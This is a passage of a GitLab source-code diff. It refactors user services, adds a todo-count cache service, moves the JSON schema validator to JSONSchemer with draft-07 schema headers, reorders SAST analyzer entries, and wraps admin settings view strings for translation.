- def fresh_access_levels_per_project
- fresh_authorizations.each_with_object({}) do |row, hash|
- hash[row.project_id] = row.access_level
- end
- end
-
- def current_authorizations_per_project
- current_authorizations.index_by(&:project_id)
- end
-
- def current_authorizations
- @current_authorizations ||= user.project_authorizations.select(:project_id, :access_level)
- end
-
- def fresh_authorizations
- Gitlab::ProjectAuthorizations.new(user).calculate
- end
-
- private
-
- attr_reader :incorrect_auth_found_callback, :missing_auth_found_callback
-
- def projects_with_duplicates
- @projects_with_duplicates ||= current_authorizations
- .group_by(&:project_id)
- .select { |project_id, authorizations| authorizations.count > 1 }
- .keys
- end
end
end
diff --git a/app/services/users/respond_to_terms_service.rb b/app/services/users/respond_to_terms_service.rb
index 254480304f9..7cdfef1489b 100644
--- a/app/services/users/respond_to_terms_service.rb
+++ b/app/services/users/respond_to_terms_service.rb
@@ -3,7 +3,8 @@
module Users
class RespondToTermsService
def initialize(user, term)
- @user, @term = user, term
+ @user = user
+ @term = term
end
# rubocop: disable CodeReuse/ActiveRecord
diff --git a/app/services/users/set_status_service.rb b/app/services/users/set_status_service.rb
index a907937070f..2b4be8c833b 100644
--- a/app/services/users/set_status_service.rb
+++ b/app/services/users/set_status_service.rb
@@ -7,7 +7,8 @@ module Users
attr_reader :current_user, :target_user, :params
def initialize(current_user, params)
- @current_user, @params = current_user, params.dup
+ @current_user = current_user
+ @params = params.dup
@target_user = params.delete(:user) || current_user
end
diff --git a/app/services/users/update_canonical_email_service.rb b/app/services/users/update_canonical_email_service.rb
index 1400fd58eb4..e75452f60fd 100644
--- a/app/services/users/update_canonical_email_service.rb
+++ b/app/services/users/update_canonical_email_service.rb
@@ -7,7 +7,7 @@ module Users
INCLUDED_DOMAINS_PATTERN = [/gmail.com/].freeze
def initialize(user:)
- raise ArgumentError.new("Please provide a user") unless user&.is_a?(User)
+ raise ArgumentError.new("Please provide a user") unless user.is_a?(User)
@user = user
end
diff --git a/app/services/users/update_todo_count_cache_service.rb b/app/services/users/update_todo_count_cache_service.rb
new file mode 100644
index 00000000000..03ab66bd64a
--- /dev/null
+++ b/app/services/users/update_todo_count_cache_service.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+module Users
+ class UpdateTodoCountCacheService < BaseService
+ QUERY_BATCH_SIZE = 10
+
+ attr_reader :users
+
+ # users - An array of User objects
+ def initialize(users)
+ @users = users
+ end
+
+ def execute
+ users.each_slice(QUERY_BATCH_SIZE) do |users_batch|
+ todo_counts = Todo.for_user(users_batch).count_grouped_by_user_id_and_state
+
+ users_batch.each do |user|
+ update_count_cache(user, todo_counts, :done)
+ update_count_cache(user, todo_counts, :pending)
+ end
+ end
+ end
+
+ private
+
+ def update_count_cache(user, todo_counts, state)
+ count = todo_counts.fetch([user.id, state.to_s], 0)
+ expiration_time = user.count_cache_validity_period
+
+ Rails.cache.write(['users', user.id, "todos_#{state}_count"], count, expires_in: expiration_time)
+ end
+ end
+end
diff --git a/app/uploaders/object_storage.rb b/app/uploaders/object_storage.rb
index d4c74ce277f..ea71930062c 100644
--- a/app/uploaders/object_storage.rb
+++ b/app/uploaders/object_storage.rb
@@ -187,6 +187,7 @@ module ObjectStorage
hash[:TempPath] = workhorse_local_upload_path
end
+ hash[:FeatureFlagExtractBase] = Feature.enabled?(:workhorse_extract_filename_base, default_enabled: :yaml)
hash[:MaximumSize] = maximum_size if maximum_size.present?
end
end
diff --git a/app/validators/json_schema_validator.rb b/app/validators/json_schema_validator.rb
index fee4a00cec5..8dc6265f471 100644
--- a/app/validators/json_schema_validator.rb
+++ b/app/validators/json_schema_validator.rb
@@ -12,12 +12,14 @@
class JsonSchemaValidator < ActiveModel::EachValidator
FILENAME_ALLOWED = /\A[a-z0-9_-]*\Z/.freeze
FilenameError = Class.new(StandardError)
- JSON_VALIDATOR_MAX_DRAFT_VERSION = 4
+ BASE_DIRECTORY = %w(app validators json_schemas).freeze
def initialize(options)
raise ArgumentError, "Expected 'filename' as an argument" unless options[:filename]
raise FilenameError, "Must be a valid 'filename'" unless options[:filename].match?(FILENAME_ALLOWED)
+ @base_directory = options.delete(:base_directory) || BASE_DIRECTORY
+
super(options)
end
@@ -29,19 +31,27 @@ class JsonSchemaValidator < ActiveModel::EachValidator
private
+ attr_reader :base_directory
+
def valid_schema?(value)
- if draft_version > JSON_VALIDATOR_MAX_DRAFT_VERSION
- JSONSchemer.schema(Pathname.new(schema_path)).valid?(value)
- else
- JSON::Validator.validate(schema_path, value)
- end
+ validator.valid?(value)
+ end
+
+ def validator
+ @validator ||= JSONSchemer.schema(Pathname.new(schema_path))
end
def schema_path
- Rails.root.join('app', 'validators', 'json_schemas', "#{options[:filename]}.json").to_s
+ @schema_path ||= Rails.root.join(*base_directory, filename_with_extension).to_s
+ end
+
+ def filename_with_extension
+ "#{options[:filename]}.json"
end
def draft_version
options[:draft] || JSON_VALIDATOR_MAX_DRAFT_VERSION
end
end
+
+JsonSchemaValidator.prepend_ee_mod
diff --git a/app/validators/json_schemas/application_setting_kroki_formats.json b/app/validators/json_schemas/application_setting_kroki_formats.json
index 460dc74069f..4dfa710abea 100644
--- a/app/validators/json_schemas/application_setting_kroki_formats.json
+++ b/app/validators/json_schemas/application_setting_kroki_formats.json
@@ -1,4 +1,5 @@
{
+ "$schema": "http://json-schema.org/draft-07/schema#",
"description": "Kroki formats",
"type": "object",
"properties": {
diff --git a/app/validators/json_schemas/build_metadata_secrets.json b/app/validators/json_schemas/build_metadata_secrets.json
index e745a266777..799e7ab1642 100644
--- a/app/validators/json_schemas/build_metadata_secrets.json
+++ b/app/validators/json_schemas/build_metadata_secrets.json
@@ -1,4 +1,5 @@
{
+ "$schema": "http://json-schema.org/draft-07/schema#",
"description": "CI builds metadata secrets",
"type": "object",
"patternProperties": {
diff --git a/app/validators/json_schemas/build_report_result_data.json b/app/validators/json_schemas/build_report_result_data.json
index 0fb4fd6d0b7..0a12c9c39a7 100644
--- a/app/validators/json_schemas/build_report_result_data.json
+++ b/app/validators/json_schemas/build_report_result_data.json
@@ -1,4 +1,5 @@
{
+ "$schema": "http://json-schema.org/draft-07/schema#",
"description": "Build report result data",
"type": "object",
"properties": {
diff --git a/app/validators/json_schemas/build_report_result_data_tests.json b/app/validators/json_schemas/build_report_result_data_tests.json
index b38559e727f..610070fde5f 100644
--- a/app/validators/json_schemas/build_report_result_data_tests.json
+++ b/app/validators/json_schemas/build_report_result_data_tests.json
@@ -1,4 +1,5 @@
{
+ "$schema": "http://json-schema.org/draft-07/schema#",
"description": "Build report result data tests",
"type": "object",
"properties": {
diff --git a/app/validators/json_schemas/codeclimate.json b/app/validators/json_schemas/codeclimate.json
index 56056c62c4e..dc43eab6290 100644
--- a/app/validators/json_schemas/codeclimate.json
+++ b/app/validators/json_schemas/codeclimate.json
@@ -1,4 +1,5 @@
{
+ "$schema": "http://json-schema.org/draft-07/schema#",
"description": "Codequality used by codeclimate parser",
"type": "object",
"required": ["description", "fingerprint", "severity", "location"],
diff --git a/app/validators/json_schemas/daily_build_group_report_result_data.json b/app/validators/json_schemas/daily_build_group_report_result_data.json
index 2524ac63050..2b073506375 100644
--- a/app/validators/json_schemas/daily_build_group_report_result_data.json
+++ b/app/validators/json_schemas/daily_build_group_report_result_data.json
@@ -1,4 +1,5 @@
{
+ "$schema": "http://json-schema.org/draft-07/schema#",
"description": "Daily build group report result data",
"type": "object",
"properties": {
diff --git a/app/validators/json_schemas/debian_fields.json b/app/validators/json_schemas/debian_fields.json
index b9f6ad2b31d..ae1a2726ea2 100644
--- a/app/validators/json_schemas/debian_fields.json
+++ b/app/validators/json_schemas/debian_fields.json
@@ -1,4 +1,5 @@
{
+ "$schema": "http://json-schema.org/draft-07/schema#",
"description": "Debian fields",
"type": "object",
"patternProperties": {
diff --git a/app/validators/json_schemas/git_trailers.json b/app/validators/json_schemas/git_trailers.json
index 18ac97226a7..384eb280765 100644
--- a/app/validators/json_schemas/git_trailers.json
+++ b/app/validators/json_schemas/git_trailers.json
@@ -1,4 +1,5 @@
{
+ "$schema": "http://json-schema.org/draft-07/schema#",
"description": "Git trailer key/value pairs",
"type": "object",
"patternProperties": {
diff --git a/app/validators/json_schemas/http_integration_payload_attribute_mapping.json b/app/validators/json_schemas/http_integration_payload_attribute_mapping.json
index a194daf5e45..7aebc959169 100644
--- a/app/validators/json_schemas/http_integration_payload_attribute_mapping.json
+++ b/app/validators/json_schemas/http_integration_payload_attribute_mapping.json
@@ -1,4 +1,5 @@
{
+ "$schema": "http://json-schema.org/draft-07/schema#",
"type": "object",
"patternProperties": {
".*": {
diff --git a/app/validators/json_schemas/security_ci_configuration_schemas/sast_ui_schema.json b/app/validators/json_schemas/security_ci_configuration_schemas/sast_ui_schema.json
index 08442565931..dc4880946b2 100644
--- a/app/validators/json_schemas/security_ci_configuration_schemas/sast_ui_schema.json
+++ b/app/validators/json_schemas/security_ci_configuration_schemas/sast_ui_schema.json
@@ -1,4 +1,5 @@
{
+ "$schema": "http://json-schema.org/draft-07/schema#",
"global": [
{
"field" : "SECURE_ANALYZERS_PREFIX",
@@ -50,36 +51,36 @@
],
"analyzers": [
{
- "name": "brakeman",
- "label": "Brakeman",
+ "name": "bandit",
+ "label": "Bandit",
"enabled" : true,
- "description": "Ruby on Rails",
+ "description": "Python",
"variables": [
{
- "field" : "SAST_BRAKEMAN_LEVEL",
- "label" : "Brakeman confidence level.",
+ "field" : "SAST_BANDIT_EXCLUDED_PATHS",
+ "label" : "Paths to exclude from scan",
"type": "string",
- "default_value": "1",
+ "default_value": "",
"value": "",
"size": "SMALL",
- "description": "Ignore Brakeman vulnerabilities under given confidence level. Integer, 1=Low, 2=Medium, 3=High."
+ "description": "Comma-separated list of paths to exclude from scan. Uses Python’s 'fnmatch' syntax; For example: '*/tests/*, */venv/*'"
}
]
},
{
- "name": "bandit",
- "label": "Bandit",
+ "name": "brakeman",
+ "label": "Brakeman",
"enabled" : true,
- "description": "Python",
+ "description": "Ruby on Rails",
"variables": [
{
- "field" : "SAST_BANDIT_EXCLUDED_PATHS",
- "label" : "Paths to exclude from scan.",
+ "field" : "SAST_BRAKEMAN_LEVEL",
+ "label" : "Brakeman confidence level",
"type": "string",
- "default_value": "",
+ "default_value": "1",
"value": "",
"size": "SMALL",
- "description": "Comma-separated list of paths to exclude from scan. Uses Python’s 'fnmatch' syntax; For example: '*/tests/*, */venv/*'"
+ "description": "Ignore Brakeman vulnerabilities under given confidence level. Integer, 1=Low, 2=Medium, 3=High."
}
]
},
@@ -109,7 +110,7 @@
},
{
"name": "kubesec",
- "label": "kubesec",
+ "label": "Kubesec",
"enabled" : true,
"description": "Kubernetes manifests, Helm Charts",
"variables": []
@@ -123,7 +124,7 @@
},
{
"name": "gosec",
- "label": "Golang Security Checker",
+ "label": "Gosec",
"enabled" : true,
"description": "Go",
"variables": [
diff --git a/app/validators/json_schemas/security_scan_info.json b/app/validators/json_schemas/security_scan_info.json
deleted file mode 100644
index c8932c1870d..00000000000
--- a/app/validators/json_schemas/security_scan_info.json
+++ /dev/null
@@ -1,28 +0,0 @@
-{
- "$schema": "http://json-schema.org/draft-07/schema#",
- "type": "object",
- "title": "Security::Scan#info schema",
- "description": "The schema validates the content of the Security::Scan#info attribute",
- "additionalProperties": false,
- "properties": {
- "errors": {
- "type": "array",
- "items": {
- "type": "object",
- "additionalProperties": false,
- "properties": {
- "type": {
- "type": "string"
- },
- "message": {
- "type": "string"
- }
- },
- "required": [
- "type",
- "message"
- ]
- }
- }
- }
-}
diff --git a/app/validators/json_schemas/vulnerability_finding_details.json b/app/validators/json_schemas/vulnerability_finding_details.json
deleted file mode 100644
index 2ba1fc9e9db..00000000000
--- a/app/validators/json_schemas/vulnerability_finding_details.json
+++ /dev/null
@@ -1,294 +0,0 @@
-{
- "type": "object",
- "description": "The schema for vulnerability finding details",
- "additionalProperties": false,
- "patternProperties": {
- "^.*$": {
- "allOf": [
- { "$ref": "#/definitions/named_field" },
- { "$ref": "#/definitions/detail_type" }
- ]
- }
- },
- "definitions": {
- "detail_type": {
- "oneOf": [
- { "$ref": "#/definitions/named_list" },
- { "$ref": "#/definitions/list" },
- { "$ref": "#/definitions/table" },
- { "$ref": "#/definitions/text" },
- { "$ref": "#/definitions/url" },
- { "$ref": "#/definitions/code" },
- { "$ref": "#/definitions/value" },
- { "$ref": "#/definitions/diff" },
- { "$ref": "#/definitions/markdown" },
- { "$ref": "#/definitions/commit" },
- { "$ref": "#/definitions/file_location" },
- { "$ref": "#/definitions/module_location" }
- ]
- },
- "text_value": {
- "type": "string"
- },
- "named_field": {
- "type": "object",
- "required": [
- "name"
- ],
- "properties": {
- "name": {
- "$ref": "#/definitions/text_value",
- "minLength": 1
- },
- "description": {
- "$ref": "#/definitions/text_value"
- }
- }
- },
- "named_list": {
- "type": "object",
- "description": "An object with named and typed fields",
- "required": [
- "type",
- "items"
- ],
- "properties": {
- "type": {
- "const": "named-list"
- },
- "items": {
- "type": "object",
- "patternProperties": {
- "^.*$": {
- "allOf": [
- {
- "$ref": "#/definitions/named_field"
- },
- {
- "$ref": "#/definitions/detail_type"
- }
- ]
- }
- }
- }
- }
- },
- "list": {
- "type": "object",
- "description": "A list of typed fields",
- "required": [
- "type",
- "items"
- ],
- "properties": {
- "type": {
- "const": "list"
- },
- "items": {
- "type": "array",
- "items": {
- "$ref": "#/definitions/detail_type"
- }
- }
- }
- },
- "table": {
- "type": "object",
- "description": "A table of typed fields",
- "required": [
- "type",
- "rows"
- ],
- "properties": {
- "type": {
- "const": "table"
- },
- "header": {
- "type": "array",
- "items": {
- "$ref": "#/definitions/detail_type"
- }
- },
- "rows": {
- "type": "array",
- "items": {
- "type": "array",
- "items": {
- "$ref": "#/definitions/detail_type"
- }
- }
- }
- }
- },
- "text": {
- "type": "object",
- "description": "Raw text",
- "required": [
- "type",
- "value"
- ],
- "properties": {
- "type": {
- "const": "text"
- },
- "value": {
- "$ref": "#/definitions/text_value"
- }
- }
- },
- "url": {
- "type": "object",
- "description": "A single URL",
- "required": [
- "type",
- "href"
- ],
- "properties": {
- "type": {
- "const": "url"
- },
- "text": {
- "$ref": "#/definitions/text_value"
- },
- "href": {
- "type": "string",
- "minLength": 1,
- "examples": ["http://mysite.com"]
- }
- }
- },
- "code": {
- "type": "object",
- "description": "A codeblock",
- "required": [
- "type",
- "value"
- ],
- "properties": {
- "type": {
- "const": "code"
- },
- "value": {
- "type": "string"
- },
- "lang": {
- "type": "string",
- "description": "A programming language"
- }
- }
- },
- "value": {
- "type": "object",
- "description": "A field that can store a range of types of value",
- "required": ["type", "value"],
- "properties": {
- "type": { "const": "value" },
- "value": {
- "type": ["number", "string", "boolean"]
- }
- }
- },
- "diff": {
- "type": "object",
- "description": "A diff",
- "required": [
- "type",
- "before",
- "after"
- ],
- "properties": {
- "type": {
- "const": "diff"
- },
- "before": {
- "type": "string"
- },
- "after": {
- "type": "string"
- }
- }
- },
- "markdown": {
- "type": "object",
- "description": "GitLab flavoured markdown, see https://docs.gitlab.com/ee/user/markdown.html",
- "required": [
- "type",
- "value"
- ],
- "properties": {
- "type": {
- "const": "markdown"
- },
- "value": {
- "$ref": "#/definitions/text_value",
- "examples": ["Here is markdown `inline code` #1 [test](gitlab.com)\n\n![GitLab Logo](https://about.gitlab.com/images/press/logo/preview/gitlab-logo-white-preview.png)"]
- }
- }
- },
- "commit": {
- "type": "object",
- "description": "A commit/tag/branch within the GitLab project",
- "required": [
- "type",
- "value"
- ],
- "properties": {
- "type": {
- "const": "commit"
- },
- "value": {
- "type": "string",
- "description": "The commit SHA",
- "minLength": 1
- }
- }
- },
- "file_location": {
- "type": "object",
- "description": "A location within a file in the project",
- "required": [
- "type",
- "file_name",
- "line_start"
- ],
- "properties": {
- "type": {
- "const": "file-location"
- },
- "file_name": {
- "type": "string",
- "minLength": 1
- },
- "line_start": {
- "type": "integer"
- },
- "line_end": {
- "type": "integer"
- }
- }
- },
- "module_location": {
- "type": "object",
- "description": "A location within a binary module of the form module+relative_offset",
- "required": [
- "type",
- "module_name",
- "offset"
- ],
- "properties": {
- "type": {
- "const": "module-location"
- },
- "module_name": {
- "type": "string",
- "minLength": 1,
- "examples": ["compiled_binary"]
- },
- "offset": {
- "type": "integer",
- "examples": [100]
- }
- }
- }
- }
-}
diff --git a/app/views/admin/abuse_reports/_abuse_report.html.haml b/app/views/admin/abuse_reports/_abuse_report.html.haml
index 3e1a76f31e1..dbfc7bf1046 100644
--- a/app/views/admin/abuse_reports/_abuse_report.html.haml
+++ b/app/views/admin/abuse_reports/_abuse_report.html.haml
@@ -25,10 +25,10 @@
%td
- if user
= link_to _('Remove user & report'), admin_abuse_report_path(abuse_report, remove_user: true),
- data: { confirm: _("USER %{user} WILL BE REMOVED! Are you sure?") % { user: user.name } }, remote: true, method: :delete, class: "gl-button btn btn-sm btn-block btn-danger js-remove-tr"
+ data: { confirm: _("USER %{user} WILL BE REMOVED! Are you sure?") % { user: user.name } }, remote: true, method: :delete, class: "gl-button btn btn-block btn-danger js-remove-tr"
- if user && !user.blocked?
- = link_to _('Block user'), block_admin_user_path(user), data: {confirm: _('USER WILL BE BLOCKED! Are you sure?')}, method: :put, class: "gl-button btn btn-sm btn-block"
+ = link_to _('Block user'), block_admin_user_path(user), data: {confirm: _('USER WILL BE BLOCKED! Are you sure?')}, method: :put, class: "gl-button btn btn-default btn-block"
- else
- .btn.btn-sm.disabled.btn-block
+ .gl-button.btn.btn-default.disabled.btn-block
= _('Already blocked')
- = link_to _('Remove report'), [:admin, abuse_report], remote: true, method: :delete, class: "gl-button btn btn-sm btn-block btn-close js-remove-tr"
+ = link_to _('Remove report'), [:admin, abuse_report], remote: true, method: :delete, class: "gl-button btn btn-default btn-block btn-close js-remove-tr"
diff --git a/app/views/admin/abuse_reports/index.html.haml b/app/views/admin/abuse_reports/index.html.haml
index daa766429e0..8b1bbbc17c7 100644
--- a/app/views/admin/abuse_reports/index.html.haml
+++ b/app/views/admin/abuse_reports/index.html.haml
@@ -19,13 +19,14 @@
%table.table.responsive-table
%thead.d-none.d-md-table-header-group
%tr
- %th User
- %th Reported by
- %th.wide Message
- %th Action
+ %th= _('User')
+ %th= _('Reported by')
+ %th.wide= _('Message')
+ %th= _('Action')
= render @abuse_reports
= paginate @abuse_reports, theme: 'gitlab'
- else
.empty-state
.text-center
- %h4 There are no abuse reports! #{emoji_icon('tada')}
+ %h4= _("There are no abuse reports!")
+ %h3= emoji_icon('tada')
diff --git a/app/views/admin/application_settings/_account_and_limit.html.haml b/app/views/admin/application_settings/_account_and_limit.html.haml
index 2e5cf156a65..1e2c9f821d2 100644
--- a/app/views/admin/application_settings/_account_and_limit.html.haml
+++ b/app/views/admin/application_settings/_account_and_limit.html.haml
@@ -1,4 +1,4 @@
-= form_for @application_setting, url: general_admin_application_settings_path(anchor: 'js-account-settings'), html: { class: 'fieldset-form' } do |f|
+= form_for @application_setting, url: general_admin_application_settings_path(anchor: 'js-account-settings'), html: { class: 'fieldset-form', id: 'account-settings' } do |f|
= form_errors(@application_setting)
%fieldset
diff --git a/app/views/admin/application_settings/_diff_limits.html.haml b/app/views/admin/application_settings/_diff_limits.html.haml
index c5ae5c579ad..7286fffcaf6 100644
--- a/app/views/admin/application_settings/_diff_limits.html.haml
+++ b/app/views/admin/application_settings/_diff_limits.html.haml
@@ -1,4 +1,4 @@
-= form_for @application_setting, url: general_admin_application_settings_path(anchor: 'js-merge-request-settings'), html: { class: 'fieldset-form' } do |f|
+= form_for @application_setting, url: general_admin_application_settings_path(anchor: 'js-merge-request-settings'), html: { class: 'fieldset-form', id: 'merge-request-settings' } do |f|
= form_errors(@application_setting)
%fieldset
diff --git a/app/views/admin/application_settings/_eks.html.haml b/app/views/admin/application_settings/_eks.html.haml
index 1ddf927ed13..c44bad132bd 100644
--- a/app/views/admin/application_settings/_eks.html.haml
+++ b/app/views/admin/application_settings/_eks.html.haml
@@ -9,7 +9,7 @@
= _('Amazon EKS integration allows you to provision EKS clusters from GitLab.')
.settings-content
- = form_for @application_setting, url: general_admin_application_settings_path(anchor: 'js-eks-settings'), html: { class: 'fieldset-form' } do |f|
+ = form_for @application_setting, url: general_admin_application_settings_path(anchor: 'js-eks-settings'), html: { class: 'fieldset-form', id: 'eks-settings' } do |f|
= form_errors(@application_setting)
%fieldset
diff --git a/app/views/admin/application_settings/_external_authorization_service_form.html.haml b/app/views/admin/application_settings/_external_authorization_service_form.html.haml
index 97e09476e78..abd182027b1 100644
--- a/app/views/admin/application_settings/_external_authorization_service_form.html.haml
+++ b/app/views/admin/application_settings/_external_authorization_service_form.html.haml
@@ -8,7 +8,7 @@
= _('External Classification Policy Authorization')
.settings-content
- = form_for @application_setting, url: general_admin_application_settings_path(anchor: 'js-external-auth-settings'), html: { class: 'fieldset-form' } do |f|
+ = form_for @application_setting, url: general_admin_application_settings_path(anchor: 'js-external-auth-settings'), html: { class: 'fieldset-form', id: 'external-auth-settings' } do |f|
= form_errors(@application_setting)
%fieldset
diff --git a/app/views/admin/application_settings/_gitpod.html.haml b/app/views/admin/application_settings/_gitpod.html.haml
index 48b0c6be0a8..6d335e2db16 100644
--- a/app/views/admin/application_settings/_gitpod.html.haml
+++ b/app/views/admin/application_settings/_gitpod.html.haml
@@ -12,7 +12,7 @@
.settings-content
- = form_for @application_setting, url: general_admin_application_settings_path(anchor: 'js-gitpod-settings'), html: { class: 'fieldset-form' } do |f|
+ = form_for @application_setting, url: general_admin_application_settings_path(anchor: 'js-gitpod-settings'), html: { class: 'fieldset-form', id: 'gitpod-settings' } do |f|
= form_errors(@application_setting)
%fieldset
diff --git a/app/views/admin/application_settings/_ip_limits.html.haml b/app/views/admin/application_settings/_ip_limits.html.haml
index 18d71a90e34..e584aaf9880 100644
--- a/app/views/admin/application_settings/_ip_limits.html.haml
+++ b/app/views/admin/application_settings/_ip_limits.html.haml
@@ -8,14 +8,14 @@
.form-check
= f.check_box :throttle_unauthenticated_enabled, class: 'form-check-input', data: { qa_selector: 'throttle_unauthenticated_checkbox' }
= f.label :throttle_unauthenticated_enabled, class: 'form-check-label label-bold' do
- Enable unauthenticated request rate limit
+ = _("Enable unauthenticated request rate limit")
%span.form-text.text-muted
- Helps reduce request volume (e.g. from crawlers or abusive bots)
+ = _("Helps reduce request volume (e.g. from crawlers or abusive bots)")
.form-group
- = f.label :throttle_unauthenticated_requests_per_period, 'Max unauthenticated requests per period per IP', class: 'label-bold'
+ = f.label :throttle_unauthenticated_requests_per_period, _('Max unauthenticated requests per period per IP'), class: 'label-bold'
= f.number_field :throttle_unauthenticated_requests_per_period, class: 'form-control gl-form-input'
.form-group
- = f.label :throttle_unauthenticated_period_in_seconds, 'Unauthenticated rate limit period in seconds', class: 'label-bold'
+ = f.label :throttle_unauthenticated_period_in_seconds, _('Unauthenticated rate limit period in seconds'), class: 'label-bold'
= f.number_field :throttle_unauthenticated_period_in_seconds, class: 'form-control gl-form-input'
%hr
%h5
@@ -24,14 +24,14 @@
.form-check
= f.check_box :throttle_authenticated_api_enabled, class: 'form-check-input', data: { qa_selector: 'throttle_authenticated_api_checkbox' }
= f.label :throttle_authenticated_api_enabled, class: 'form-check-label label-bold' do
- Enable authenticated API request rate limit
+ = _("Enable authenticated API request rate limit")
%span.form-text.text-muted
- Helps reduce request volume (e.g. from crawlers or abusive bots)
+ = _("Helps reduce request volume (e.g. from crawlers or abusive bots)")
.form-group
- = f.label :throttle_authenticated_api_requests_per_period, 'Max authenticated API requests per period per user', class: 'label-bold'
+ = f.label :throttle_authenticated_api_requests_per_period, _('Max authenticated API requests per period per user'), class: 'label-bold'
= f.number_field :throttle_authenticated_api_requests_per_period, class: 'form-control gl-form-input'
.form-group
- = f.label :throttle_authenticated_api_period_in_seconds, 'Authenticated API rate limit period in seconds', class: 'label-bold'
+ = f.label :throttle_authenticated_api_period_in_seconds, _('Authenticated API rate limit period in seconds'), class: 'label-bold'
= f.number_field :throttle_authenticated_api_period_in_seconds, class: 'form-control gl-form-input'
%hr
%h5
@@ -44,10 +44,10 @@
%span.form-text.text-muted
Helps reduce request volume (e.g. from crawlers or abusive bots)
.form-group
- = f.label :throttle_authenticated_web_requests_per_period, 'Max authenticated web requests per period per user', class: 'label-bold'
+ = f.label :throttle_authenticated_web_requests_per_period, _('Max authenticated web requests per period per user'), class: 'label-bold'
= f.number_field :throttle_authenticated_web_requests_per_period, class: 'form-control gl-form-input'
.form-group
- = f.label :throttle_authenticated_web_period_in_seconds, 'Authenticated web rate limit period in seconds', class: 'label-bold'
+ = f.label :throttle_authenticated_web_period_in_seconds, _('Authenticated web rate limit period in seconds'), class: 'label-bold'
= f.number_field :throttle_authenticated_web_period_in_seconds, class: 'form-control gl-form-input'
%hr
%h5
@@ -57,4 +57,4 @@
= _('A plain-text response to show to clients that hit the rate limit.')
= f.text_area :rate_limiting_response_text, placeholder: ::Gitlab::Throttle::DEFAULT_RATE_LIMITING_RESPONSE_TEXT, class: 'form-control gl-form-input', rows: 5
- = f.submit 'Save changes', class: "gl-button btn btn-confirm", data: { qa_selector: 'save_changes_button' }
+ = f.submit _('Save changes'), class: "gl-button btn btn-confirm", data: { qa_selector: 'save_changes_button' }
diff --git a/app/views/admin/application_settings/_kroki.html.haml b/app/views/admin/application_settings/_kroki.html.haml
index fc51942ed1f..b9da2047453 100644
--- a/app/views/admin/application_settings/_kroki.html.haml
+++ b/app/views/admin/application_settings/_kroki.html.haml
@@ -8,7 +8,7 @@
%p
= _('Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}.').html_safe % { link: link_to('Kroki', 'https://kroki.io', target: '_blank') }
.settings-content
- = form_for @application_setting, url: general_admin_application_settings_path(anchor: 'js-kroki-settings'), html: { class: 'fieldset-form' } do |f|
+ = form_for @application_setting, url: general_admin_application_settings_path(anchor: 'js-kroki-settings'), html: { class: 'fieldset-form', id: 'kroki-settings' } do |f|
= form_errors(@application_setting) if expanded
%fieldset
diff --git a/app/views/admin/application_settings/_pages.html.haml b/app/views/admin/application_settings/_pages.html.haml
index 8f52e8b8461..5d6443825b7 100644
--- a/app/views/admin/application_settings/_pages.html.haml
+++ b/app/views/admin/application_settings/_pages.html.haml
@@ -3,7 +3,7 @@
%fieldset
.form-group
- = f.label :max_pages_size, 'Maximum size of pages (MB)', class: 'label-bold'
+ = f.label :max_pages_size, _('Maximum size of pages (MB)'), class: 'label-bold'
= f.number_field :max_pages_size, class: 'form-control gl-form-input'
.form-text.text-muted
= _("0 for unlimited")
diff --git a/app/views/admin/application_settings/_performance.html.haml b/app/views/admin/application_settings/_performance.html.haml
index 5ee68e8fd16..50fc11ec7f3 100644
--- a/app/views/admin/application_settings/_performance.html.haml
+++ b/app/views/admin/application_settings/_performance.html.haml
@@ -6,7 +6,7 @@
.form-check
= f.check_box :authorized_keys_enabled, class: 'form-check-input'
= f.label :authorized_keys_enabled, class: 'form-check-label' do
- Write to "authorized_keys" file
+ = _('Write to "authorized_keys" file')
.form-text.text-muted
By default, we write to the "authorized_keys" file to support Git
over SSH without additional configuration. GitLab can be optimized
@@ -31,4 +31,4 @@
.form-text.text-muted
= _('Number of changes (branches or tags) in a single push to determine whether individual push events or bulk push event will be created. Bulk push event will be created if it surpasses that value.')
- = f.submit 'Save changes', class: "gl-button btn btn-confirm"
+ = f.submit _('Save changes'), class: "gl-button btn btn-confirm"
diff --git a/app/views/admin/application_settings/_performance_bar.html.haml b/app/views/admin/application_settings/_performance_bar.html.haml
index 8f2bdd109cb..f603dcab407 100644
--- a/app/views/admin/application_settings/_performance_bar.html.haml
+++ b/app/views/admin/application_settings/_performance_bar.html.haml
@@ -6,9 +6,9 @@
.form-check
= f.check_box :performance_bar_enabled, class: 'form-check-input', data: { qa_selector: 'enable_performance_bar_checkbox'}
= f.label :performance_bar_enabled, class: 'form-check-label' do
- Enable access to the Performance Bar
+ = _("Enable access to the Performance Bar")
.form-group
- = f.label :performance_bar_allowed_group_path, 'Allowed group', class: 'label-bold'
+ = f.label :performance_bar_allowed_group_path, _('Allowed group'), class: 'label-bold'
= f.text_field :performance_bar_allowed_group_path, class: 'form-control gl-form-input', placeholder: 'my-org/my-group', value: @application_setting.performance_bar_allowed_group&.full_path
- = f.submit 'Save changes', class: 'gl-button btn btn-confirm qa-save-changes-button'
+ = f.submit _('Save changes'), class: 'gl-button btn btn-confirm qa-save-changes-button'
diff --git a/app/views/admin/application_settings/_plantuml.html.haml b/app/views/admin/application_settings/_plantuml.html.haml
index e6e9bbf3ee0..d57ae94b084 100644
--- a/app/views/admin/application_settings/_plantuml.html.haml
+++ b/app/views/admin/application_settings/_plantuml.html.haml
@@ -8,7 +8,7 @@
%p
= _('Allow rendering of PlantUML diagrams in Asciidoc documents.')
.settings-content
- = form_for @application_setting, url: general_admin_application_settings_path(anchor: 'js-plantuml-settings'), html: { class: 'fieldset-form' } do |f|
+ = form_for @application_setting, url: general_admin_application_settings_path(anchor: 'js-plantuml-settings'), html: { class: 'fieldset-form', id: 'plantuml-settings' } do |f|
= form_errors(@application_setting) if expanded
%fieldset
diff --git a/app/views/admin/application_settings/_realtime.html.haml b/app/views/admin/application_settings/_realtime.html.haml
index bee120d2f78..545c27d2a7e 100644
--- a/app/views/admin/application_settings/_realtime.html.haml
+++ b/app/views/admin/application_settings/_realtime.html.haml
@@ -3,15 +3,10 @@
%fieldset
.form-group
- = f.label :polling_interval_multiplier, 'Polling interval multiplier', class: 'label-bold'
+ = f.label :polling_interval_multiplier, _('Polling interval multiplier'), class: 'label-bold'
= f.text_field :polling_interval_multiplier, class: 'form-control gl-form-input'
.form-text.text-muted
- Change this value to influence how frequently the GitLab UI polls for updates.
- If you set the value to 2 all polling intervals are multiplied
- by 2, which means that polling happens half as frequently.
- The multiplier can also have a decimal value.
